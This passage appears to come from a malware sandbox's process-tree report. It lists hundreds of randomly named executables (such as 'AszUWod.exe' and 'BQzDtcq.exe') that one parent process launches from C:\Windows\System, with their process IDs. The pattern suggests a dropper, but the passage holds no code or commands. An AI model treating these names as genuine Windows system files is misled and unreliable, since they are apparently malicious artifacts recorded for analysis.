  C:\Windows\System\AszUWod.exe
  2⤵
  PID:5280
- C:\Windows\System\BQzDtcq.exe
  C:\Windows\System\BQzDtcq.exe
  2⤵
  PID:5444
- C:\Windows\System\uIUhnsm.exe
  C:\Windows\System\uIUhnsm.exe
  2⤵
  PID:5756
- C:\Windows\System\aSNAkNb.exe
  C:\Windows\System\aSNAkNb.exe
  2⤵
  PID:6148
- C:\Windows\System\HehRpEv.exe
  C:\Windows\System\HehRpEv.exe
  2⤵
  PID:6164
- C:\Windows\System\dcXyfLh.exe
  C:\Windows\System\dcXyfLh.exe
  2⤵
  PID:6180
- C:\Windows\System\RIkJGxK.exe
  C:\Windows\System\RIkJGxK.exe
  2⤵
  PID:6196
- C:\Windows\System\RhucetD.exe
  C:\Windows\System\RhucetD.exe
  2⤵
  PID:6212
- C:\Windows\System\JYhKsFn.exe
  C:\Windows\System\JYhKsFn.exe
  2⤵
  PID:6228
- C:\Windows\System\HyfnaLj.exe
  C:\Windows\System\HyfnaLj.exe
  2⤵
  PID:6244
- C:\Windows\System\nvdQLbu.exe
  C:\Windows\System\nvdQLbu.exe
  2⤵
  PID:6260
- C:\Windows\System\JjGMvqo.exe
  C:\Windows\System\JjGMvqo.exe
  2⤵
  PID:6276
- C:\Windows\System\TryScdF.exe
  C:\Windows\System\TryScdF.exe
  2⤵
  PID:6292
- C:\Windows\System\fpUWmVy.exe
  C:\Windows\System\fpUWmVy.exe
  2⤵
  PID:6308
- C:\Windows\System\NENvgCi.exe
  C:\Windows\System\NENvgCi.exe
  2⤵
  PID:6324
- C:\Windows\System\VDRpvxU.exe
  C:\Windows\System\VDRpvxU.exe
  2⤵
  PID:6340
- C:\Windows\System\ILciBIb.exe
  C:\Windows\System\ILciBIb.exe
  2⤵
  PID:6356
- C:\Windows\System\tqlrKks.exe
  C:\Windows\System\tqlrKks.exe
  2⤵
  PID:6372
- C:\Windows\System\WcYWBuq.exe
  C:\Windows\System\WcYWBuq.exe
  2⤵
  PID:6388
- C:\Windows\System\sLGXSuN.exe
  C:\Windows\System\sLGXSuN.exe
  2⤵
  PID:6404
- C:\Windows\System\mnFIKqh.exe
  C:\Windows\System\mnFIKqh.exe
  2⤵
  PID:6420
- C:\Windows\System\GzgByqd.exe
  C:\Windows\System\GzgByqd.exe
  2⤵
  PID:6436
- C:\Windows\System\yxyDRcA.exe
  C:\Windows\System\yxyDRcA.exe
  2⤵
  PID:6452
- C:\Windows\System\Pddifus.exe
  C:\Windows\System\Pddifus.exe
  2⤵
  PID:6468
- C:\Windows\System\TLcorYK.exe
  C:\Windows\System\TLcorYK.exe
  2⤵
  PID:6484
- C:\Windows\System\SmAMceP.exe
  C:\Windows\System\SmAMceP.exe
  2⤵
  PID:6500
- C:\Windows\System\evhhyTN.exe
  C:\Windows\System\evhhyTN.exe
  2⤵
  PID:6516
- C:\Windows\System\OqzaNCD.exe
  C:\Windows\System\OqzaNCD.exe
  2⤵
  PID:6532
- C:\Windows\System\LfkIeOp.exe
  C:\Windows\System\LfkIeOp.exe
  2⤵
  PID:6548
- C:\Windows\System\xkmyMkV.exe
  C:\Windows\System\xkmyMkV.exe
  2⤵
  PID:6564
- C:\Windows\System\VQFuNEh.exe
  C:\Windows\System\VQFuNEh.exe
  2⤵
  PID:6580
- C:\Windows\System\TvMLTGc.exe
  C:\Windows\System\TvMLTGc.exe
  2⤵
  PID:6596
- C:\Windows\System\mTFrGbf.exe
  C:\Windows\System\mTFrGbf.exe
  2⤵
  PID:6612
- C:\Windows\System\cEdVxqU.exe
  C:\Windows\System\cEdVxqU.exe
  2⤵
  PID:6628
- C:\Windows\System\jEXepxr.exe
  C:\Windows\System\jEXepxr.exe
  2⤵
  PID:6644
- C:\Windows\System\pPbSIOL.exe
  C:\Windows\System\pPbSIOL.exe
  2⤵
  PID:6660
- C:\Windows\System\twrjUrr.exe
  C:\Windows\System\twrjUrr.exe
  2⤵
  PID:6676
- C:\Windows\System\wZlaWXi.exe
  C:\Windows\System\wZlaWXi.exe
  2⤵
  PID:6692
- C:\Windows\System\XcvXdIu.exe
  C:\Windows\System\XcvXdIu.exe
  2⤵
  PID:6712
- C:\Windows\System\vkprwGQ.exe
  C:\Windows\System\vkprwGQ.exe
  2⤵
  PID:6728
- C:\Windows\System\XevADAI.exe
  C:\Windows\System\XevADAI.exe
  2⤵
  PID:6744
- C:\Windows\System\waLpkHo.exe
  C:\Windows\System\waLpkHo.exe
  2⤵
  PID:6760
- C:\Windows\System\IaUllYK.exe
  C:\Windows\System\IaUllYK.exe
  2⤵
  PID:6776
- C:\Windows\System\EbwBpIq.exe
  C:\Windows\System\EbwBpIq.exe
  2⤵
  PID:6792
- C:\Windows\System\eVAkYfG.exe
  C:\Windows\System\eVAkYfG.exe
  2⤵
  PID:6808
- C:\Windows\System\vRKDKGH.exe
  C:\Windows\System\vRKDKGH.exe
  2⤵
  PID:6824
- C:\Windows\System\JRHNbpL.exe
  C:\Windows\System\JRHNbpL.exe
  2⤵
  PID:6840
- C:\Windows\System\nIaoacs.exe
  C:\Windows\System\nIaoacs.exe
  2⤵
  PID:6860
- C:\Windows\System\NlXulpE.exe
  C:\Windows\System\NlXulpE.exe
  2⤵
  PID:6876
- C:\Windows\System\KaQacUZ.exe
  C:\Windows\System\KaQacUZ.exe
  2⤵
  PID:6892
- C:\Windows\System\PIbEufJ.exe
  C:\Windows\System\PIbEufJ.exe
  2⤵
  PID:6908
- C:\Windows\System\lPwzlGW.exe
  C:\Windows\System\lPwzlGW.exe
  2⤵
  PID:6924
- C:\Windows\System\ynwCTik.exe
  C:\Windows\System\ynwCTik.exe
  2⤵
  PID:6940
- C:\Windows\System\nRZKQOY.exe
  C:\Windows\System\nRZKQOY.exe
  2⤵
  PID:6956
- C:\Windows\System\fJVUTLJ.exe
  C:\Windows\System\fJVUTLJ.exe
  2⤵
  PID:6972
- C:\Windows\System\OzTwvlJ.exe
  C:\Windows\System\OzTwvlJ.exe
  2⤵
  PID:6988
- C:\Windows\System\TbKRHOA.exe
  C:\Windows\System\TbKRHOA.exe
  2⤵
  PID:7004
- C:\Windows\System\eBooGaT.exe
  C:\Windows\System\eBooGaT.exe
  2⤵
  PID:7020
- C:\Windows\System\hqqjdbw.exe
  C:\Windows\System\hqqjdbw.exe
  2⤵
  PID:7036
- C:\Windows\System\EgtJuWH.exe
  C:\Windows\System\EgtJuWH.exe
  2⤵
  PID:7056
- C:\Windows\System\ZVAjJgP.exe
  C:\Windows\System\ZVAjJgP.exe
  2⤵
  PID:7076
- C:\Windows\System\MgJNyfh.exe
  C:\Windows\System\MgJNyfh.exe
  2⤵
  PID:7092
- C:\Windows\System\WQXVWJg.exe
  C:\Windows\System\WQXVWJg.exe
  2⤵
  PID:7108
- C:\Windows\System\bvmuDIb.exe
  C:\Windows\System\bvmuDIb.exe
  2⤵
  PID:7128
- C:\Windows\System\nvCeDzs.exe
  C:\Windows\System\nvCeDzs.exe
  2⤵
  PID:7148
- C:\Windows\System\bRepBui.exe
  C:\Windows\System\bRepBui.exe
  2⤵
  PID:7164
- C:\Windows\System\CbUwKkD.exe
  C:\Windows\System\CbUwKkD.exe
  2⤵
  PID:5020
- C:\Windows\System\jQQTczO.exe
  C:\Windows\System\jQQTczO.exe
  2⤵
  PID:6204
- C:\Windows\System\obwBpdb.exe
  C:\Windows\System\obwBpdb.exe
  2⤵
  PID:4160
- C:\Windows\System\RBCEIYE.exe
  C:\Windows\System\RBCEIYE.exe
  2⤵
  PID:6156
- C:\Windows\System\BZSEVYo.exe
  C:\Windows\System\BZSEVYo.exe
  2⤵
  PID:5736
- C:\Windows\System\beTQuxc.exe
  C:\Windows\System\beTQuxc.exe
  2⤵
  PID:6236
- C:\Windows\System\GGOHDdK.exe
  C:\Windows\System\GGOHDdK.exe
  2⤵
  PID:6192
- C:\Windows\System\tygbzgX.exe
  C:\Windows\System\tygbzgX.exe
  2⤵
  PID:6304
- C:\Windows\System\PsdcWFr.exe
  C:\Windows\System\PsdcWFr.exe
  2⤵
  PID:6220
- C:\Windows\System\wTqVthp.exe
  C:\Windows\System\wTqVthp.exe
  2⤵
  PID:6348
- C:\Windows\System\jxrWHWZ.exe
  C:\Windows\System\jxrWHWZ.exe
  2⤵
  PID:6252
- C:\Windows\System\uOWukNT.exe
  C:\Windows\System\uOWukNT.exe
  2⤵
  PID:6320
- C:\Windows\System\iuvOAzK.exe
  C:\Windows\System\iuvOAzK.exe
  2⤵
  PID:6492
- C:\Windows\System\XQEjMkh.exe
  C:\Windows\System\XQEjMkh.exe
  2⤵
  PID:6652
- C:\Windows\System\oSXlDAS.exe
  C:\Windows\System\oSXlDAS.exe
  2⤵
  PID:6688
- C:\Windows\System\osstEyd.exe
  C:\Windows\System\osstEyd.exe
  2⤵
  PID:6352
- C:\Windows\System\BpFeWTV.exe
  C:\Windows\System\BpFeWTV.exe
  2⤵
  PID:6544
- C:\Windows\System\DNKEdPM.exe
  C:\Windows\System\DNKEdPM.exe
  2⤵
  PID:6672
- C:\Windows\System\pCNwwEH.exe
  C:\Windows\System\pCNwwEH.exe
  2⤵
  PID:6608
- C:\Windows\System\gNcraSa.exe
  C:\Windows\System\gNcraSa.exe
  2⤵
  PID:6704
- C:\Windows\System\lRuMviQ.exe
  C:\Windows\System\lRuMviQ.exe
  2⤵
  PID:6852
- C:\Windows\System\vhgCRnK.exe
  C:\Windows\System\vhgCRnK.exe
  2⤵
  PID:6820
- C:\Windows\System\BMOAXjV.exe
  C:\Windows\System\BMOAXjV.exe
  2⤵
  PID:6444
- C:\Windows\System\OMXdzXJ.exe
  C:\Windows\System\OMXdzXJ.exe
  2⤵
  PID:6916
- C:\Windows\System\bRZQhNi.exe
  C:\Windows\System\bRZQhNi.exe
  2⤵
  PID:6984
- C:\Windows\System\NcKIcuU.exe
  C:\Windows\System\NcKIcuU.exe
  2⤵
  PID:6872
- C:\Windows\System\fwjVdtQ.exe
  C:\Windows\System\fwjVdtQ.exe
  2⤵
  PID:7000
- C:\Windows\System\oynKxsK.exe
  C:\Windows\System\oynKxsK.exe
  2⤵
  PID:6932
- C:\Windows\System\fDcaHzf.exe
  C:\Windows\System\fDcaHzf.exe
  2⤵
  PID:7032
- C:\Windows\System\iBQsUxJ.exe
  C:\Windows\System\iBQsUxJ.exe
  2⤵
  PID:7052
- C:\Windows\System\MiyBjTg.exe
  C:\Windows\System\MiyBjTg.exe
  2⤵
  PID:7068
- C:\Windows\System\mSOLqpD.exe
  C:\Windows\System\mSOLqpD.exe
  2⤵
  PID:6176
- C:\Windows\System\NlejqhF.exe
  C:\Windows\System\NlejqhF.exe
  2⤵
  PID:6272
- C:\Windows\System\gDFLine.exe
  C:\Windows\System\gDFLine.exe
  2⤵
  PID:7104
- C:\Windows\System\ogqCbzs.exe
  C:\Windows\System\ogqCbzs.exe
  2⤵
  PID:6288
- C:\Windows\System\DhVdbEM.exe
  C:\Windows\System\DhVdbEM.exe
  2⤵
  PID:6640
- C:\Windows\System\ejfVokG.exe
  C:\Windows\System\ejfVokG.exe
  2⤵
  PID:6768
- C:\Windows\System\HUPyXmu.exe
  C:\Windows\System\HUPyXmu.exe
  2⤵
  PID:6540
- C:\Windows\System\ZJMkgXT.exe
  C:\Windows\System\ZJMkgXT.exe
  2⤵
  PID:6784
- C:\Windows\System\YgVcckx.exe
  C:\Windows\System\YgVcckx.exe
  2⤵
  PID:6952
- C:\Windows\System\oALHsvd.exe
  C:\Windows\System\oALHsvd.exe
  2⤵
  PID:6772
- C:\Windows\System\WeMnSLK.exe
  C:\Windows\System\WeMnSLK.exe
  2⤵
  PID:6396
- C:\Windows\System\jLXkNaJ.exe
  C:\Windows\System\jLXkNaJ.exe
  2⤵
  PID:6400
- C:\Windows\System\MoIlsol.exe
  C:\Windows\System\MoIlsol.exe
  2⤵
  PID:5244
- C:\Windows\System\ytYVJQc.exe
  C:\Windows\System\ytYVJQc.exe
  2⤵
  PID:6208
- C:\Windows\System\RmbnfkI.exe
  C:\Windows\System\RmbnfkI.exe
  2⤵
  PID:7072
- C:\Windows\System\ATgBqVF.exe
  C:\Windows\System\ATgBqVF.exe
  2⤵
  PID:6588
- C:\Windows\System\lMBYXkd.exe
  C:\Windows\System\lMBYXkd.exe
  2⤵
  PID:6416
- C:\Windows\System\TbLqKzd.exe
  C:\Windows\System\TbLqKzd.exe
  2⤵
  PID:6508
- C:\Windows\System\xejyBVS.exe
  C:\Windows\System\xejyBVS.exe
  2⤵
  PID:6948
- C:\Windows\System\TdxtIrL.exe
  C:\Windows\System\TdxtIrL.exe
  2⤵
  PID:7016
- C:\Windows\System\gGykzKs.exe
  C:\Windows\System\gGykzKs.exe
  2⤵
  PID:6036
- C:\Windows\System\gaSWNqQ.exe
  C:\Windows\System\gaSWNqQ.exe
  2⤵
  PID:6804
- C:\Windows\System\ItejQBU.exe
  C:\Windows\System\ItejQBU.exe
  2⤵
  PID:7156
- C:\Windows\System\Kuzmivw.exe
  C:\Windows\System\Kuzmivw.exe
  2⤵
  PID:7116
- C:\Windows\System\MyHcEzx.exe
  C:\Windows\System\MyHcEzx.exe
  2⤵
  PID:1976
- C:\Windows\System\xpoMOeY.exe
  C:\Windows\System\xpoMOeY.exe
  2⤵
  PID:5752
- C:\Windows\System\iGtvVKD.exe
  C:\Windows\System\iGtvVKD.exe
  2⤵
  PID:6412
- C:\Windows\System\xvNhNgM.exe
  C:\Windows\System\xvNhNgM.exe
  2⤵
  PID:6380
- C:\Windows\System\EEZINKS.exe
  C:\Windows\System\EEZINKS.exe
  2⤵
  PID:6368
- C:\Windows\System\twtnePC.exe
  C:\Windows\System\twtnePC.exe
  2⤵
  PID:4732
- C:\Windows\System\OuMhGsY.exe
  C:\Windows\System\OuMhGsY.exe
  2⤵
  PID:6448
- C:\Windows\System\EWoAvbf.exe
  C:\Windows\System\EWoAvbf.exe
  2⤵
  PID:7172
- C:\Windows\System\xDGpvrE.exe
  C:\Windows\System\xDGpvrE.exe
  2⤵
  PID:7296
- C:\Windows\System\LWbYmcH.exe
  C:\Windows\System\LWbYmcH.exe
  2⤵
  PID:7316
- C:\Windows\System\zaVOMLg.exe
  C:\Windows\System\zaVOMLg.exe
  2⤵
  PID:7332
- C:\Windows\System\VOMmiFi.exe
  C:\Windows\System\VOMmiFi.exe
  2⤵
  PID:7348
- C:\Windows\System\mNoPoOM.exe
  C:\Windows\System\mNoPoOM.exe
  2⤵
  PID:7364
- C:\Windows\System\HAaGgUH.exe
  C:\Windows\System\HAaGgUH.exe
  2⤵
  PID:7384
- C:\Windows\System\NkpRrEb.exe
  C:\Windows\System\NkpRrEb.exe
  2⤵
  PID:7400
- C:\Windows\System\hDhhGCB.exe
  C:\Windows\System\hDhhGCB.exe
  2⤵
  PID:7416
- C:\Windows\System\MYSpWrx.exe
  C:\Windows\System\MYSpWrx.exe
  2⤵
  PID:7432
- C:\Windows\System\rCSylGZ.exe
  C:\Windows\System\rCSylGZ.exe
  2⤵
  PID:7452
- C:\Windows\System\dJsTCtD.exe
  C:\Windows\System\dJsTCtD.exe
  2⤵
  PID:7468
- C:\Windows\System\wAMUZeL.exe
  C:\Windows\System\wAMUZeL.exe
  2⤵
  PID:7484
- C:\Windows\System\rmnvILV.exe
  C:\Windows\System\rmnvILV.exe
  2⤵
  PID:7508
- C:\Windows\System\QgIAghv.exe
  C:\Windows\System\QgIAghv.exe
  2⤵
  PID:7524
- C:\Windows\System\dGEHFdF.exe
  C:\Windows\System\dGEHFdF.exe
  2⤵
  PID:7540
- C:\Windows\System\JnhkwBR.exe
  C:\Windows\System\JnhkwBR.exe
  2⤵
  PID:7556
- C:\Windows\System\DDUIgiE.exe
  C:\Windows\System\DDUIgiE.exe
  2⤵
  PID:7572
- C:\Windows\System\LnKzEQu.exe
  C:\Windows\System\LnKzEQu.exe
  2⤵
  PID:7588
- C:\Windows\System\AKEFKVo.exe
  C:\Windows\System\AKEFKVo.exe
  2⤵
  PID:7604
- C:\Windows\System\gTGnwwD.exe
  C:\Windows\System\gTGnwwD.exe
  2⤵
  PID:7624
- C:\Windows\System\birJlnY.exe
  C:\Windows\System\birJlnY.exe
  2⤵
  PID:7644
- C:\Windows\System\pywStdl.exe
  C:\Windows\System\pywStdl.exe
  2⤵
  PID:7660
- C:\Windows\System\iGrEBzL.exe
  C:\Windows\System\iGrEBzL.exe
  2⤵
  PID:7676
- C:\Windows\System\llGfAKN.exe
  C:\Windows\System\llGfAKN.exe
  2⤵
  PID:7692
- C:\Windows\System\izxYwEd.exe
  C:\Windows\System\izxYwEd.exe
  2⤵
  PID:7708
- C:\Windows\System\vkKiDup.exe
  C:\Windows\System\vkKiDup.exe
  2⤵
  PID:7724
- C:\Windows\System\yRzyqPN.exe
  C:\Windows\System\yRzyqPN.exe
  2⤵
  PID:7740
- C:\Windows\System\OzCsanl.exe
  C:\Windows\System\OzCsanl.exe
  2⤵
  PID:7760
- C:\Windows\System\UUzSSGP.exe
  C:\Windows\System\UUzSSGP.exe
  2⤵
  PID:7776
- C:\Windows\System\TEFatbN.exe
  C:\Windows\System\TEFatbN.exe
  2⤵
  PID:7796
- C:\Windows\System\Jcwoszp.exe
  C:\Windows\System\Jcwoszp.exe
  2⤵
  PID:7812
- C:\Windows\System\LkCXbfB.exe
  C:\Windows\System\LkCXbfB.exe
  2⤵
  PID:7828
- C:\Windows\System\owtoxUx.exe
  C:\Windows\System\owtoxUx.exe
  2⤵
  PID:7844
- C:\Windows\System\nDjPJYu.exe
  C:\Windows\System\nDjPJYu.exe
  2⤵
  PID:7860
- C:\Windows\System\wtSUopl.exe
  C:\Windows\System\wtSUopl.exe
  2⤵
  PID:7876
- C:\Windows\System\ydqSrKk.exe
  C:\Windows\System\ydqSrKk.exe
  2⤵
  PID:7892
- C:\Windows\System\bRIMwiG.exe
  C:\Windows\System\bRIMwiG.exe
  2⤵
  PID:7908
- C:\Windows\System\HGpwPML.exe
  C:\Windows\System\HGpwPML.exe
  2⤵
  PID:7924
- C:\Windows\System\eBtiHtP.exe
  C:\Windows\System\eBtiHtP.exe
  2⤵
  PID:7944
- C:\Windows\System\QwHvYCW.exe
  C:\Windows\System\QwHvYCW.exe
  2⤵
  PID:7960
- C:\Windows\System\EwLGtbB.exe
  C:\Windows\System\EwLGtbB.exe
  2⤵
  PID:7976
- C:\Windows\System\zaeSZiz.exe
  C:\Windows\System\zaeSZiz.exe
  2⤵
  PID:7996
- C:\Windows\System\REUMbIJ.exe
  C:\Windows\System\REUMbIJ.exe
  2⤵
  PID:8056
- C:\Windows\System\bbSDfTv.exe
  C:\Windows\System\bbSDfTv.exe
  2⤵
  PID:8076
- C:\Windows\System\BGkjXEr.exe
  C:\Windows\System\BGkjXEr.exe
  2⤵
  PID:8092
- C:\Windows\System\dIMyixN.exe
  C:\Windows\System\dIMyixN.exe
  2⤵
  PID:8108
- C:\Windows\System\vAhjKAH.exe
  C:\Windows\System\vAhjKAH.exe
  2⤵
  PID:8124
- C:\Windows\System\vsTMrfr.exe
  C:\Windows\System\vsTMrfr.exe
  2⤵
  PID:8144
- C:\Windows\System\jIEsfqk.exe
  C:\Windows\System\jIEsfqk.exe
  2⤵
  PID:8160
- C:\Windows\System\fMRzwzM.exe
  C:\Windows\System\fMRzwzM.exe
  2⤵
  PID:8176
- C:\Windows\System\nhgBFGq.exe
  C:\Windows\System\nhgBFGq.exe
  2⤵
  PID:7124
- C:\Windows\System\fYGqXzF.exe
  C:\Windows\System\fYGqXzF.exe
  2⤵
  PID:6384
- C:\Windows\System\mDjWbQA.exe
  C:\Windows\System\mDjWbQA.exe
  2⤵
  PID:6432
- C:\Windows\System\HBaorWX.exe
  C:\Windows\System\HBaorWX.exe
  2⤵
  PID:5212
- C:\Windows\System\qUVIHNf.exe
  C:\Windows\System\qUVIHNf.exe
  2⤵
  PID:6964
- C:\Windows\System\PdvnERM.exe
  C:\Windows\System\PdvnERM.exe
  2⤵
  PID:6756
- C:\Windows\System\ygqNQzP.exe
  C:\Windows\System\ygqNQzP.exe
  2⤵
  PID:7184
- C:\Windows\System\hkjvABr.exe
  C:\Windows\System\hkjvABr.exe
  2⤵
  PID:7204
- C:\Windows\System\pLUaPsL.exe
  C:\Windows\System\pLUaPsL.exe
  2⤵
  PID:7244
- C:\Windows\System\oeGJfYN.exe
  C:\Windows\System\oeGJfYN.exe
  2⤵
  PID:7392
- C:\Windows\System\ZnVGjWQ.exe
  C:\Windows\System\ZnVGjWQ.exe
  2⤵
  PID:7504
- C:\Windows\System\tbSuxhE.exe
  C:\Windows\System\tbSuxhE.exe
  2⤵
  PID:7376
- C:\Windows\System\ceudmUf.exe
  C:\Windows\System\ceudmUf.exe
  2⤵
  PID:7476
- C:\Windows\System\yAhKzEy.exe
  C:\Windows\System\yAhKzEy.exe
  2⤵
  PID:7492
- C:\Windows\System\DyCiLzZ.exe
  C:\Windows\System\DyCiLzZ.exe
  2⤵
  PID:7536
- C:\Windows\System\brczUrB.exe
  C:\Windows\System\brczUrB.exe
  2⤵
  PID:7548
- C:\Windows\System\wCZWPnE.exe
  C:\Windows\System\wCZWPnE.exe
  2⤵
  PID:7612
- C:\Windows\System\RJAaVAT.exe
  C:\Windows\System\RJAaVAT.exe
  2⤵
  PID:7620
- C:\Windows\System\xUwXBVx.exe
  C:\Windows\System\xUwXBVx.exe
  2⤵
  PID:7616
- C:\Windows\System\yGupKtq.exe
  C:\Windows\System\yGupKtq.exe
  2⤵
  PID:7684
- C:\Windows\System\SMQpGHN.exe
  C:\Windows\System\SMQpGHN.exe
  2⤵
  PID:7668
- C:\Windows\System\lDousgY.exe
  C:\Windows\System\lDousgY.exe
  2⤵
  PID:7700
- C:\Windows\System\Zqkayui.exe
  C:\Windows\System\Zqkayui.exe
  2⤵
  PID:7768
- C:\Windows\System\CBPerbf.exe
  C:\Windows\System\CBPerbf.exe
  2⤵
  PID:7808
- C:\Windows\System\aLsUjmt.exe
  C:\Windows\System\aLsUjmt.exe
  2⤵
  PID:7900
- C:\Windows\System\AwtrIpQ.exe
  C:\Windows\System\AwtrIpQ.exe
  2⤵
  PID:7940
- C:\Windows\System\yyTbBhj.exe
  C:\Windows\System\yyTbBhj.exe
  2⤵
  PID:7968
- C:\Windows\System\YdDynwB.exe
  C:\Windows\System\YdDynwB.exe
  2⤵
  PID:8004
- C:\Windows\System\rxApRPb.exe
  C:\Windows\System\rxApRPb.exe
  2⤵
  PID:7920
- C:\Windows\System\DstDdjh.exe
  C:\Windows\System\DstDdjh.exe
  2⤵
  PID:7988
- C:\Windows\System\CXBxdGV.exe
  C:\Windows\System\CXBxdGV.exe
  2⤵
  PID:7888
- C:\Windows\System\ZasWNTO.exe
  C:\Windows\System\ZasWNTO.exe
  2⤵
  PID:8012
- C:\Windows\System\uGkzIUt.exe
  C:\Windows\System\uGkzIUt.exe
  2⤵
  PID:8024
- C:\Windows\System\eEYPFEK.exe
  C:\Windows\System\eEYPFEK.exe
  2⤵
  PID:8044
- C:\Windows\System\lGtPwNb.exe
  C:\Windows\System\lGtPwNb.exe
  2⤵
  PID:8068
- C:\Windows\System\KxRUuli.exe
  C:\Windows\System\KxRUuli.exe
  2⤵
  PID:8116
- C:\Windows\System\SEDoyij.exe
  C:\Windows\System\SEDoyij.exe
  2⤵
  PID:8100
- C:\Windows\System\bJZnwza.exe
  C:\Windows\System\bJZnwza.exe
  2⤵
  PID:8152
- C:\Windows\System\acJFDzI.exe
  C:\Windows\System\acJFDzI.exe
  2⤵
  PID:7160
- C:\Windows\System\TVcONGz.exe
  C:\Windows\System\TVcONGz.exe
  2⤵
  PID:2208
- C:\Windows\System\UqIJbGk.exe
  C:\Windows\System\UqIJbGk.exe
  2⤵
  PID:7180
- C:\Windows\System\VeuBJgE.exe
  C:\Windows\System\VeuBJgE.exe
  2⤵
  PID:7192
- C:\Windows\System\GNGTagF.exe
  C:\Windows\System\GNGTagF.exe
  2⤵
  PID:7212
- C:\Windows\System\IhizSZQ.exe
  C:\Windows\System\IhizSZQ.exe
  2⤵
  PID:7228
- C:\Windows\System\jkcdlEA.exe
  C:\Windows\System\jkcdlEA.exe
  2⤵
  PID:7840
- C:\Windows\System\sqgVKAf.exe
  C:\Windows\System\sqgVKAf.exe
  2⤵
  PID:7372
- C:\Windows\System\NgHTxml.exe
  C:\Windows\System\NgHTxml.exe
  2⤵
  PID:7868
- C:\Windows\System\VOTBWLa.exe
  C:\Windows\System\VOTBWLa.exe
  2⤵
  PID:7520
- C:\Windows\System\qsyWCpZ.exe
  C:\Windows\System\qsyWCpZ.exe
  2⤵
  PID:8028
- C:\Windows\System\JvbxFFf.exe
  C:\Windows\System\JvbxFFf.exe
  2⤵
  PID:8052
- C:\Windows\System\YPhDciV.exe
  C:\Windows\System\YPhDciV.exe
  2⤵
  PID:7784
- C:\Windows\System\lsJOFqY.exe
  C:\Windows\System\lsJOFqY.exe
  2⤵
  PID:7756
- C:\Windows\System\RvwtZvW.exe
  C:\Windows\System\RvwtZvW.exe
  2⤵
  PID:6188
- C:\Windows\System\lBoLIPm.exe
  C:\Windows\System\lBoLIPm.exe
  2⤵
  PID:7236
- C:\Windows\System\rhBZAhs.exe
  C:\Windows\System\rhBZAhs.exe
  2⤵
  PID:1492
- C:\Windows\System\amFDvMo.exe
  C:\Windows\System\amFDvMo.exe
  2⤵
  PID:7240
- C:\Windows\System\ORaewqu.exe
  C:\Windows\System\ORaewqu.exe
  2⤵
  PID:7440
- C:\Windows\System\rwmoroT.exe
  C:\Windows\System\rwmoroT.exe
  2⤵
  PID:7636
- C:\Windows\System\dzPqxBa.exe
  C:\Windows\System\dzPqxBa.exe
  2⤵
  PID:7464
- C:\Windows\System\CLHOfKX.exe
  C:\Windows\System\CLHOfKX.exe
  2⤵
  PID:7500
- C:\Windows\System\IosXuKp.exe
  C:\Windows\System\IosXuKp.exe
  2⤵
  PID:8084
- C:\Windows\System\dMJYUyt.exe
  C:\Windows\System\dMJYUyt.exe
  2⤵
  PID:6668
- C:\Windows\System\GNjXlrg.exe
  C:\Windows\System\GNjXlrg.exe
  2⤵
  PID:8156
- C:\Windows\System\LdLFPvR.exe
  C:\Windows\System\LdLFPvR.exe
  2⤵
  PID:8040
- C:\Windows\System\GPAJMnb.exe
  C:\Windows\System\GPAJMnb.exe
  2⤵
  PID:7288
- C:\Windows\System\TYfRfzF.exe
  C:\Windows\System\TYfRfzF.exe
  2⤵
  PID:7328
- C:\Windows\System\OayguDp.exe
  C:\Windows\System\OayguDp.exe
  2⤵
  PID:7428
- C:\Windows\System\nkMlgTP.exe
  C:\Windows\System\nkMlgTP.exe
  2⤵
  PID:7584
- C:\Windows\System\btNbPYk.exe
  C:\Windows\System\btNbPYk.exe
  2⤵
  PID:7788
- C:\Windows\System\hKFFSIV.exe
  C:\Windows\System\hKFFSIV.exe
  2⤵
  PID:7216
- C:\Windows\System\InCtRCP.exe
  C:\Windows\System\InCtRCP.exe
  2⤵
  PID:7284
- C:\Windows\System\hFbkPuE.exe
  C:\Windows\System\hFbkPuE.exe
  2⤵
  PID:6624
- C:\Windows\System\qfCEUzU.exe
  C:\Windows\System\qfCEUzU.exe
  2⤵
  PID:7324
- C:\Windows\System\Xescyuf.exe
  C:\Windows\System\Xescyuf.exe
  2⤵
  PID:7804
- C:\Windows\System\AqqAxwu.exe
  C:\Windows\System\AqqAxwu.exe
  2⤵
  PID:7516
- C:\Windows\System\HmJooxX.exe
  C:\Windows\System\HmJooxX.exe
  2⤵
  PID:7264
- C:\Windows\System\mvRAYih.exe
  C:\Windows\System\mvRAYih.exe
  2⤵
  PID:7720
- C:\Windows\System\eJtNmej.exe
  C:\Windows\System\eJtNmej.exe
  2⤵
  PID:7736
- C:\Windows\System\AyYfQnJ.exe
  C:\Windows\System\AyYfQnJ.exe
  2⤵
  PID:7276
- C:\Windows\System\WMVIrQe.exe
  C:\Windows\System\WMVIrQe.exe
  2⤵
  PID:8132
- C:\Windows\System\yakBXVo.exe
  C:\Windows\System\yakBXVo.exe
  2⤵
  PID:8208
- C:\Windows\System\FBZEWen.exe
  C:\Windows\System\FBZEWen.exe
  2⤵
  PID:8224
- C:\Windows\System\labScBC.exe
  C:\Windows\System\labScBC.exe
  2⤵
  PID:8240
- C:\Windows\System\fgQskXC.exe
  C:\Windows\System\fgQskXC.exe
  2⤵
  PID:8256
- C:\Windows\System\fVvmbYG.exe
  C:\Windows\System\fVvmbYG.exe
  2⤵
  PID:8272
- C:\Windows\System\KyFIFAQ.exe
  C:\Windows\System\KyFIFAQ.exe
  2⤵
  PID:8288
- C:\Windows\System\jRjcgwW.exe
  C:\Windows\System\jRjcgwW.exe
  2⤵
  PID:8304
- C:\Windows\System\BpNFWSD.exe
  C:\Windows\System\BpNFWSD.exe
  2⤵
  PID:8324
- C:\Windows\System\WXsavUo.exe
  C:\Windows\System\WXsavUo.exe
  2⤵
  PID:8340
- C:\Windows\System\cCDJBbM.exe
  C:\Windows\System\cCDJBbM.exe
  2⤵
  PID:8356
- C:\Windows\System\SEhjdAL.exe
  C:\Windows\System\SEhjdAL.exe
  2⤵
  PID:8372
- C:\Windows\System\OlxpqIn.exe
  C:\Windows\System\OlxpqIn.exe
  2⤵
  PID:8388
- C:\Windows\System\cdZtCTs.exe
  C:\Windows\System\cdZtCTs.exe
  2⤵
  PID:8404
- C:\Windows\System\Iksqhji.exe
  C:\Windows\System\Iksqhji.exe
  2⤵
  PID:8420
- C:\Windows\System\ERKlkJZ.exe
  C:\Windows\System\ERKlkJZ.exe
  2⤵
  PID:8436
- C:\Windows\System\yOuUXCp.exe
  C:\Windows\System\yOuUXCp.exe
  2⤵
  PID:8576
- C:\Windows\System\iSoEtsm.exe
  C:\Windows\System\iSoEtsm.exe
  2⤵
  PID:8592
